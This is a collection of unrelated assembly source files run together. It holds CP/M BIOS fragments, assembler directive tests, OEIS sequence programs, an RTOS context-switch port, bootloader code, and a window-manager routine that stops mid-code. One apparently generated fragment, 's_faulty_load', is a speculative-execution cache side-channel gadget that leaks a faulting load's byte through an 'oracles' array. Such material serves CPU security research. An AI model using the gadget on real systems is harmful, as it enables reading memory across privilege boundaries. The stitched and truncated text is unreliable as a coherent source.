allocation vector CSV5: ds 64 ; disk F: directory checksum endif message "END ADDRESS : \{$}" ; endif ; CPMSource XBIOSLength: equ $ - BaseBIOS if XBIOSLength > BIOSLengthMax warning "\aBIOS is too long" endif ;------------------------------------------------------------------------------ dephase ;------------------------------------------------------------------------------ CPMBIN: if (CPMSource <> "ROM") message "DO NOT INCLUDE CP/M IMAGE" else binclude "../CPM/cpmDE00.bin" message "../CPM/cpm\{BaseCCP}.bin DOUBLE CHECK binclude file!!!" message "AND FIX!!! binclude(d) CPM image if NECESSARY!!!" endif end ;------------------------------------------------------------------------------
.loc .loc "foo" .loc bar .loc -5 #.loc foo=1 .loc 1 .loc 1 "foo" .loc 1 bar .loc 1 2 #.loc 1 bar=2 .loc 1 bar 2 .loc 1 2 "foo" .loc 1 2 bar+1 .loc 1 2 is_stmt .loc 1 2 is_stmt 1 #.loc 1 2 is_stmt="foo" .loc 1 2 is_stmt "foo" #.loc 1 2 is_stmt=bar .loc 1 2 is_stmt bar .loc 1 2 is_stmt (bar) #.loc 1 2 is_stmt=2 .loc 1 2 is_stmt 2 .loc 1 2 isa .loc 1 2 isa 1 #.loc 1 2 isa="foo" .loc 1 2 isa "foo" #.loc 1 2 isa=bar .loc 1 2 isa bar #.loc 1 2 isa=-2 .loc 1 2 isa (-2) .loc 1 2 isa -2 #.loc 1 2 foo=1 .loc 1 2 foo 1 #.loc 1 2 bar
; A056640: At stage 1, start with a unit square. At each successive stage add 4*(n-1) new squares around outside with edge-to-edge contacts. Sequence gives number of squares (regardless of size) at n-th stage. ; 1,5,18,42,83,143,228,340,485,665,886,1150,1463,1827,2248,2728,3273,3885,4570,5330,6171,7095,8108,9212,10413,11713,13118,14630,16255,17995,19856,21840,23953,26197,28578,31098,33763,36575,39540,42660,45941,49385,52998 mov $1,$0 add $0,3 add $1,$0 bin $1,3 add $1,1 div $1,2
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1bb95, %r13 nop nop nop nop add $41773, %rcx movb $0x61, (%r13) nop xor %r9, %r9 lea addresses_A_ht+0x185c1, %rax clflush (%rax) nop add $41379, %rcx movw $0x6162, (%rax) nop nop nop nop sub $21156, %r9 lea addresses_WT_ht+0x1ee81, %rsi lea addresses_A_ht+0x3c79, %rdi nop nop xor %r11, %r11 mov $103, %rcx rep movsw nop sub $10578, %rcx lea addresses_UC_ht+0x8d15, %r13 nop nop nop nop nop add %rsi, %rsi mov (%r13), %di nop nop nop nop and $10032, %rcx lea addresses_WT_ht+0x16ee1, %r13 nop nop nop nop sub $45185, %r9 movl $0x61626364, (%r13) nop nop nop sub %r11, %r11 lea addresses_normal_ht+0x149b3, %rdi nop nop nop add %r9, %r9 mov $0x6162636465666768, %rcx movq %rcx, (%rdi) nop nop nop sub $12946, %r12 lea addresses_D_ht+0xee81, %rcx nop nop nop add %r13, %r13 mov $0x6162636465666768, %r11 movq %r11, (%rcx) nop nop nop nop nop add %r12, %r12 lea addresses_normal_ht+0x1aba3, %rdi cmp $28894, %r12 mov (%rdi), %r9 nop nop nop nop nop cmp $63245, %r11 lea addresses_WC_ht+0xd9d, %r9 nop nop nop nop cmp %r13, %r13 movl $0x61626364, (%r9) nop nop add $59892, %rdi lea addresses_D_ht+0x54f1, %r13 clflush (%r13) nop sub $63005, %rdi movw $0x6162, (%r13) sub %r11, %r11 lea addresses_D_ht+0x16581, %rcx nop nop nop add $41757, %rdi mov (%rcx), %ax xor $13747, %rcx lea addresses_WC_ht+0x114a1, %rsi lea addresses_D_ht+0x80e9, %rdi nop nop nop nop and $8530, %rax mov $94, %rcx rep movsl sub $45702, %r11 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r8 push %rbp push %rdx // Faulty Load lea addresses_PSE+0x5b61, %r13 nop nop nop nop nop sub %r12, %r12 movups (%r13), %xmm5 vpextrq $1, %xmm5, %rdx lea oracles, %r12 and $0xff, %rdx shlq $12, %rdx mov (%r12,%rdx,1), %rdx pop %rdx pop %rbp pop %r8 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
;******************************************************************************************************** ; uC/OS-II ; The Real-Time Kernel ; ; Copyright 1992-2021 Silicon Laboratories Inc. www.silabs.com ; ; SPDX-License-Identifier: APACHE-2.0 ; ; This software is subject to an open source license and is distributed by ; Silicon Laboratories Inc. pursuant to the terms of the Apache License, ; Version 2.0 available at www.apache.org/licenses/LICENSE-2.0. ; ;******************************************************************************************************** ;******************************************************************************************************** ; ; ARMv6-M Port ; ; Filename : os_cpu_a.asm ; Version : V2.93.01 ;******************************************************************************************************** ; For : ARMv6-M Cortex-M0 or Cortex-M0+ ; Mode : Thumb2 ; Toolchain : IAR EWARM ;********************************************************************************************************* ; Note(s) : (1) This port supports the ARM Cortex-M0 and Cortex-M0+ architectures. ;********************************************************************************************************* ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** EXTERN OSRunning ; External references EXTERN OSPrioCur EXTERN OSPrioHighRdy EXTERN OSTCBCur EXTERN OSTCBHighRdy EXTERN OSIntExit EXTERN OSTaskSwHook EXTERN OS_CPU_ExceptStkBase PUBLIC OSStartHighRdy ; Functions declared in this file PUBLIC OS_CPU_SR_Save PUBLIC OS_CPU_SR_Restore PUBLIC OSCtxSw PUBLIC OSIntCtxSw PUBLIC OS_CPU_PendSVHandler ;******************************************************************************************************** ; EQUATES ;******************************************************************************************************** NVIC_INT_CTRL EQU 0xE000ED04 ; Interrupt control state register. NVIC_SYSPRI14 EQU 0xE000ED20 ; System priority register (priority 14). NVIC_PENDSV_PRI EQU 0x00FF0000 ; PendSV priority value (lowest). NVIC_PENDSVSET EQU 0x10000000 ; Value to trigger PendSV exception. ;******************************************************************************************************** ; CODE GENERATION DIRECTIVES ;******************************************************************************************************** RSEG CODE:CODE:NOROOT(2) THUMB ;******************************************************************************************************** ; CRITICAL SECTION METHOD 3 FUNCTIONS ; ; Description: Disable/Enable interrupts by preserving the state of interrupts. Generally speaking you ; would store the state of the interrupt disable flag in the local variable 'cpu_sr' and then ; disable interrupts. 'cpu_sr' is allocated in all of uC/OS-II's functions that need to ; disable interrupts. You would restore the interrupt disable state by copying back 'cpu_sr' ; into the CPU's status register. ; ; Prototypes : OS_CPU_SR OS_CPU_SR_Save(void); ; void OS_CPU_SR_Restore(OS_CPU_SR cpu_sr); ; ; ; Note(s) : 1) These functions are used in general like this: ; ; void Task (void *p_arg) ; { ; #if OS_CRITICAL_METHOD == 3 /* Allocate storage for CPU status register */ ; OS_CPU_SR cpu_sr; ; #endif ; ; : ; : ; OS_ENTER_CRITICAL(); /* cpu_sr = OS_CPU_SaveSR(); */ ; : ; : ; OS_EXIT_CRITICAL(); /* OS_CPU_RestoreSR(cpu_sr); */ ; : ; : ; } ;******************************************************************************************************** OS_CPU_SR_Save MRS R0, PRIMASK ; Set prio int mask to mask all (except faults) CPSID I BX LR OS_CPU_SR_Restore MSR PRIMASK, R0 BX LR ;******************************************************************************************************** ; START MULTITASKING ; void OSStartHighRdy(void) ; ; Note(s) : 1) This function triggers a PendSV exception (essentially, causes a context switch) to cause ; the first task to start. ; ; 2) OSStartHighRdy() MUST: ; a) Setup PendSV exception priority to lowest; ; b) Set initial PSP to 0, to tell context switcher this is first run; ; c) Set the main stack to OS_CPU_ExceptStkBase; ; d) Set OSRunning to TRUE; ; e) Trigger PendSV exception; ; f) Enable interrupts (tasks will run with interrupts enabled). ;******************************************************************************************************** OSStartHighRdy LDR R0, =NVIC_SYSPRI14 ; Set the PendSV exception priority LDR R1, =NVIC_PENDSV_PRI STR R1, [R0] MOVS R0, #0 ; Set the PSP to 0 for initial context switch call MSR PSP, R0 BL OSTaskSwHook LDR R0, =OS_CPU_ExceptStkBase ; Initialize the MSP to the OS_CPU_ExceptStkBase LDR R1, [R0] MSR MSP, R1 LDR R0, =OSRunning ; OSRunning = TRUE MOVS R1, #1 STRB R1, [R0] LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch) LDR R1, =NVIC_PENDSVSET STR R1, [R0] CPSIE I ; Enable interrupts at processor level OSStartHang B OSStartHang ; Should never get here ;******************************************************************************************************** ; PERFORM A CONTEXT SWITCH (From task level) - OSCtxSw() ; ; Note(s) : 1) OSCtxSw() is called when OS wants to perform a task context switch. This function ; triggers the PendSV exception which is where the real work is done. ;******************************************************************************************************** OSCtxSw LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch) LDR R1, =NVIC_PENDSVSET STR R1, [R0] BX LR ;******************************************************************************************************** ; PERFORM A CONTEXT SWITCH (From interrupt level) - OSIntCtxSw() ; ; Note(s) : 1) OSIntCtxSw() is called by OSIntExit() when it determines a context switch is needed as ; the result of an interrupt. This function simply triggers a PendSV exception which will ; be handled when there are no more interrupts active and interrupts are enabled. ;******************************************************************************************************** OSIntCtxSw LDR R0, =NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch) LDR R1, =NVIC_PENDSVSET STR R1, [R0] BX LR ;******************************************************************************************************** ; HANDLE PendSV EXCEPTION ; void OS_CPU_PendSVHandler(void) ; ; Note(s) : 1) PendSV is used to cause a context switch. This is a recommended method for performing ; context switches with Cortex-M0. This is because the Cortex-M0 auto-saves half of the ; processor context on any exception, and restores same on return from exception. So only ; saving of R4-R11, LR is required and fixing up the stack pointers. Using the PendSV exception ; this way means that context saving and restoring is identical whether it is initiated from ; a thread or occurs due to an interrupt or exception. ; ; 2) Pseudo-code is: ; a) Get the process SP, if 0 then skip (goto d) the saving part (first context switch); ; b) Adjust SP to make space for R4-R11 and LR register ; c) Save the process SP in its TCB, OSTCBCur->OSTCBStkPtr = SP; ; d) Save remaining regs R4-R11, LR on process stack; ; e) Call OSTaskSwHook(); ; f) Get current high priority, OSPrioCur = OSPrioHighRdy; ; g) Get current ready thread TCB, OSTCBCur = OSTCBHighRdy; ; h) Get new process SP from TCB, SP = OSTCBHighRdy->OSTCBStkPtr; ; i) Adjust SP to the High Registers(R8-R11) & LR location ; j) Restore R8-R11, and LR from new process stack; ; k) Load PSP with new process SP ; m) Restore remaining R4-R7 from new process stack ; n) Perform exception return which will restore remaining context. ; ; 3) On entry into PendSV handler: ; a) The following have been saved on the process stack (by processor): ; xPSR, PC, LR, R12, R0-R3 ; b) Processor mode is switched to Handler mode (from Thread mode) ; c) Stack is Main stack (switched from Process stack) ; d) OSTCBCur points to the OS_TCB of the task to suspend ; OSTCBHighRdy points to the OS_TCB of the task to resume ; ; 4) Since PendSV is set to lowest priority in the system (by OSStartHighRdy() above), we ; know that it will only be run when no other exception or interrupt is active, and ; therefore safe to assume that context being switched out was using the process stack (PSP). ;******************************************************************************************************** OS_CPU_PendSVHandler CPSID I ; Prevent interruption during context switch MRS R0, PSP ; PSP is process stack pointer CMP R0, #0 BEQ OS_CPU_PendSVHandler_nosave ; equivalent code to CBZ from M3 arch to M0 arch ; Except that it does not change the condition code flags SUBS R0, R0, #0x24 ; Adjust SP to make space for Low, High & LR registers LDR R1, =OSTCBCur ; OSTCBCur->OSTCBStkPtr = SP; LDR R1, [R1] STR R0, [R1] ; R0 is SP of process being switched out STMIA R0!, {R4-R7} ; Store R4-R7(Low Registers) on process stack MOV R4, R8 ; Move R8-R11 values to R4-R7 registers. MOV R5, R9 MOV R6, R10 MOV R7, R11 STMIA R0!, {R4-R7} ; Store R8-R11(High Registers) on process stack MOV R3, R14 ; R3 is LR of process being switched out STMIA R0!, {R3} ; Store LR (EXC_RETURN) on process stack. ; At this point, entire context of process has been saved OS_CPU_PendSVHandler_nosave BL OSTaskSwHook ; OSTaskSwHook(); LDR R0, =OSPrioCur ; OSPrioCur = OSPrioHighRdy; LDR R1, =OSPrioHighRdy LDRB R2, [R1] STRB R2, [R0] LDR R0, =OSTCBCur ; OSTCBCur = OSTCBHighRdy; LDR R1, =OSTCBHighRdy LDR R2, [R1] STR R2, [R0] LDR R0, [R2] ; R0 is new process SP; SP = OSTCBHighRdy->OSTCBStkPtr; ADDS R0, #0x10 ; Adjust SP to High Registers(R8-R11) location LDMFD R0!, {R4-R7} ; Load R8-R11 values from new process stack into R4-R7 MOV R8, R4 ; Restore R8-R11 by moving their values from R4-R7 MOV R9, R5 MOV R10, R6 MOV R11, R7 LDMFD R0!, {R3} ; R3 has the new process LR; R3 = LR (EXEC_RETURN) MOV R14, R3 ; Restore LR (EXEC_RETURN) MSR PSP, R0 ; Load PSP with new process SP SUBS R0, #0x24 ; Adjust SP to Low registers(R4-R7) location LDMFD R0!, {R4-R7} ; Restore remaining R4-R7 from new process stack CPSIE I BX LR ; Exception return will restore remaining context END
; A094042: Beatty sequence for e^Pi - Pi^e - i^i. ; 1,3,5,7,9,11,13,15,17,18,20,22,24,26,28,30,32,34,36,37,39,41,43,45,47,49,51,53,55,56,58,60,62,64,66,68,70,72,74,75,77,79,81,83,85,87,89,91,93,94,96,98,100,102,104,106,108,110,112,113,115,117,119,121,123,125 mul $0,19 add $0,18 div $0,10 mov $1,$0
[bits 32] MBALIGN equ 1 << 0 ; align loaded modules on page boundaries MEMINFO equ 1 << 1 ; provide memory map FLAGS equ MBALIGN | MEMINFO ; this is the Multiboot 'flag' field MAGIC equ 0x1BADB002 ; 'magic number' lets bootloader find the header CHECKSUM equ -(MAGIC + FLAGS) ; checksum of above, to prove we are multiboot ; section .multiboot jmp _start [extern _edata] [extern _end] [extern kmain] [global _start] mheader: align 4 dd MAGIC dd FLAGS dd CHECKSUM dd mheader dd _start dd _edata dd _end dd _start dd 0 dd 1024 dd 768 dd 32 [BITS 32] section .text align 16 _start: mov esp, stack_end push esp push ebx cli call kmain jmp $ section .bss align 16 stack_begin: resb 4096 stack_end: align 16
; A241888: a(n) = 2^(4*n + 1) - 1. ; 1,31,511,8191,131071,2097151,33554431,536870911,8589934591,137438953471,2199023255551,35184372088831,562949953421311,9007199254740991,144115188075855871,2305843009213693951,36893488147419103231,590295810358705651711,9444732965739290427391,151115727451828646838271,2417851639229258349412351,38685626227668133590597631,618970019642690137449562111,9903520314283042199192993791,158456325028528675187087900671,2535301200456458802993406410751,40564819207303340847894502572031,649037107316853453566312041152511,10384593717069655257060992658440191,166153499473114484112975882535043071 mov $1,16 pow $1,$0 sub $1,1 mul $1,2 add $1,1 mov $0,$1
; A135005: Decimal expansion of 5/e. ; Submitted by Jamie Morken(s3) ; 1,8,3,9,3,9,7,2,0,5,8,5,7,2,1,1,6,0,7,9,7,7,6,1,8,8,5,0,8,0,7,3,0,4,3,3,7,2,2,9,0,5,5,6,5,5,1,5,8,8,3,9,1,7,2,5,3,9,1,8,4,0,0,8,4,8,7,3,0,7,4,7,8,7,2,4,4,9,9,0,1,6,7,8,5,7,3,6,3,7,1,7,2,9,5,9,8,2,1,8 add $0,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 div $1,-1 mul $2,$3 add $1,$2 cmp $4,0 mov $5,$0 div $5,2 add $5,$4 div $1,$5 div $2,$5 sub $3,1 cmp $4,0 lpe div $1,2 mov $6,10 pow $6,$0 div $2,$6 div $1,$2 mod $1,10 mov $0,$1
; A152417: a(n) = (5^n - 1)/(2^(3 - (n mod 2))). ; 0,1,3,31,78,781,1953,19531,48828,488281,1220703,12207031,30517578,305175781,762939453,7629394531,19073486328,190734863281,476837158203,4768371582031,11920928955078,119209289550781,298023223876953,2980232238769531,7450580596923828,74505805969238281,186264514923095703,1862645149230957031,4656612873077392578,46566128730773925781,116415321826934814453,1164153218269348144531,2910383045673370361328,29103830456733703613281,72759576141834259033203,727595761418342590332031,1818989403545856475830078,18189894035458564758300781,45474735088646411895751953,454747350886464118957519531,1136868377216160297393798828,11368683772161602973937988281,28421709430404007434844970703,284217094304040074348449707031,710542735760100185871124267578,7105427357601001858711242675781,17763568394002504646778106689453,177635683940025046467781066894531,444089209850062616169452667236328,4440892098500626161694526672363281,11102230246251565404236316680908203,111022302462515654042363166809082031,277555756156289135105907917022705078 mov $2,5 pow $2,$0 gcd $0,2 mov $3,$2 div $3,$0 add $0,$3 div $0,4
; BSD 3-Clause License ; Copyright (c) 2021, AtieP ; All rights reserved. ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its ; contributors may be used to endorse or promote products derived from ; this software without specific prior written permission. ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. bits 32 %macro print 2+ jmp %%print_strings %%module: db %1," ",0x00 %%message: db %2,0x0a,0x00 %%print_strings: push ebx push cx mov ebx, %%module mov cl, 0x03 call tty_puts mov ebx, %%message mov cl, 0x0f call tty_puts pop cx pop ebx %endmacro %macro panic 2+ jmp %%print_strings %%panic_msg: db "Panic!",0x0a,0x00 %%halted_msg: db "Halted.",0x00 %%print_strings: mov ebx, %%panic_msg mov cl, 0x04 call tty_puts print %1, %2 mov ebx, %%halted_msg mov cl, 0x0f call tty_puts %%halted_loop: cli hlt jmp %%halted_loop %endmacro stage2_main: print "Tinyvale -", "A tiny stivale/stivale2 bootloader" call gdt_init call a20_init call pmm_init call smp_init ; Now, an ELF file may have .stivalehdr AND .stivale2hdr ; to be compatible with those. If both are found, let the user choice. mov ebx, elf mov ecx, .stivalehdr xor edx, edx call elf_load_section test eax, eax jnz .check_stivale2 .load_stivale2: jmp stivale2_load .load_stivale: jmp stivale_load .check_stivale2: mov ecx, .stivale2hdr call elf_load_section test eax, eax jz .load_stivale print "tinyvale", "Kernel supports both stivale and stivale2. What to choose?",0x0a,"[1]: Stivale",0x0a,"[2]: Stivale2" .poll_key: call ps2_wait_read in al, 0x60 cmp al, 0x82 je .load_stivale cmp al, 0x83 je .load_stivale2 jmp .poll_key .stivalehdr: db ".stivalehdr",0x00 .stivale2hdr: db ".stivale2hdr",0x00 %include "builtins.asm" %include "elf.asm" %include "stivale.asm" %include "stivale2.asm" %include "tty.asm" %include "cpu/a20.asm" %include "cpu/apic.asm" %include "cpu/gdt.asm" %include "cpu/modes.asm" %include "cpu/smp_trampoline.asm" %include "cpu/smp.asm" %include "devices/edid.asm" %include "devices/pic.asm" %include "devices/ps2.asm" %include "devices/vbe.asm" %include "devices/vga.asm" %include "fw/acpi.asm" %include "fw/smbios.asm" %include "mm/pmm.asm"
; A044782: Numbers n such that string 6,9 occurs in the base 10 representation of n but not of n+1. ; Submitted by Jon Maiga ; 69,169,269,369,469,569,669,699,769,869,969,1069,1169,1269,1369,1469,1569,1669,1699,1769,1869,1969,2069,2169,2269,2369,2469,2569,2669,2699,2769,2869,2969,3069,3169,3269,3369,3469,3569 add $0,1 mul $0,10 mov $1,$0 add $0,7 div $0,11 mul $0,7 sub $1,3 div $1,11 add $1,3 add $0,$1 add $0,$1 add $0,$1 mul $0,10 sub $0,91
; A188123: Number of strictly increasing arrangements of 4 nonzero numbers in -(n+2)..(n+2) with sum zero. ; 1,3,8,16,31,51,80,118,167,227,302,390,495,617,758,918,1101,1305,1534,1788,2069,2377,2716,3084,3485,3919,4388,4892,5435,6015,6636,7298,8003,8751,9546,10386,11275,12213,13202,14242,15337,16485,17690,18952,20273,21653,23096,24600,26169,27803,29504,31272,33111,35019,37000,39054,41183,43387,45670,48030,50471,52993,55598,58286,61061,63921,66870,69908,73037,76257,79572,82980,86485,90087,93788,97588,101491,105495,109604,113818,118139,122567,127106,131754,136515,141389,146378,151482,156705,162045,167506,173088,178793,184621,190576,196656,202865,209203,215672,222272 mov $6,$0 add $6,1 mov $12,$0 lpb $6 mov $0,$12 sub $6,1 sub $0,$6 mov $9,$0 mov $10,0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 sub $11,1 sub $0,$11 add $0,7 mul $0,2 mov $5,4 mod $7,8 div $7,5 gcd $7,$0 mov $8,$0 mov $0,1 add $0,$7 mov $2,$7 mul $8,5 lpb $0 mod $0,$5 add $0,5 add $2,12 mov $4,$0 add $8,$5 sub $8,$2 sub $8,6 div $0,$8 mul $4,2 div $4,8 add $5,5 trn $3,$5 add $3,6 lpe mul $3,2 add $0,$3 mov $3,7 mov $7,$0 div $8,$0 add $8,$4 sub $8,5 mul $8,2 add $8,1 add $10,$8 lpe add $1,$10 lpe mov $0,$1
* Setup a window for the window manager V1.05  1986 Tony Tebby QJUMP * * 2002-13-11 1.05 Adapted for high colour use (MK) * section wman * xdef wm_prpos xdef wm_pulld xdef wm_unset xdef wm_wrset xdef wm_wpos * xref wmc_trap3 * include dev8_keys_qdos_ioa include dev8_keys_qdos_io include dev8_keys_qdos_pt include dev8_keys_wwork include dev8_keys_wstatus * * d0 r error return * d1 c p initial pointer position (or -1) * a0 r channel ID of window * a1 sp pointer to window status area * a4 c p pointer to working definition * * all other registers preserved * reglist reg d1-d6/a1/a4 stk_d1 equ $0 stk_stat equ $14 * * wm_unset movem.l reglist,-(sp) save registers move.l ww_chid(a4),a0 get channel ID sub.l a1,a1 no sub-window definition moveq #iop.swdf,d0 moveq #-1,d3 trap #3 * * Restore if pull-down * tst.b ww_pulld(a4) beq wws_exit ; it's not a pull-down, done * moveq #0,d2 ; throw away save area sub.l a1,a1 ; use your own save moveq #-1,d3 moveq #iop.wrst,d0 ; to restore from trap #3 * moveq #iop.sptr,d0 ; reset the pointer position move.l ww_psave(a4),d1 moveq #iops.abs,d2 ; screen coordinates trap #3 tst.l d0 * bra.l wws_exit * * wm_wrset movem.l reglist,-(sp) save registers move.l ww_chid(a4),a0 get channel ID lea ww_xsize(a4),a1 window definition moveq #iow.defw,d0 moveq #0,d2 no border moveq #-1,d3 trap #3 bra.s wws_set set window * * wm_pulld movem.l reglist,-(sp) save registers * moveq #ioa.open,d0 open moveq #myself,d1 for me moveq #ioa.kexc,d3 a device lea console(pc),a0 named con trap #2 do it * tst.l d0 check error bne.s wws_exit move.l a0,ww_chid(a4) set channel ID st ww_pulld(a4) set 'window pulled down' bra.s wws_cpnt * wm_prpos movem.l reglist,-(sp) save registers move.l ww_chid(a4),a0 get channel ID * wws_cpnt move.l ww_wstat(a4),a1 set pointer to status area tas ws_citem(a1) ... no current item * addq.l #ws_point,a1 set pointer to pointer record moveq #iop.rptr,d0 read pointer moveq #pt.outwn+pt.inwin,d2 return in any event moveq #-1,d3 when complete trap #3 subq.l #ws_point,a1 reset pointer to pointer record tst.l d0 OK? bne.s wws_exit ... no move.l d1,ww_psave(a4) set saved pointer address * move.l stk_d1(sp),d0 is new pointer position 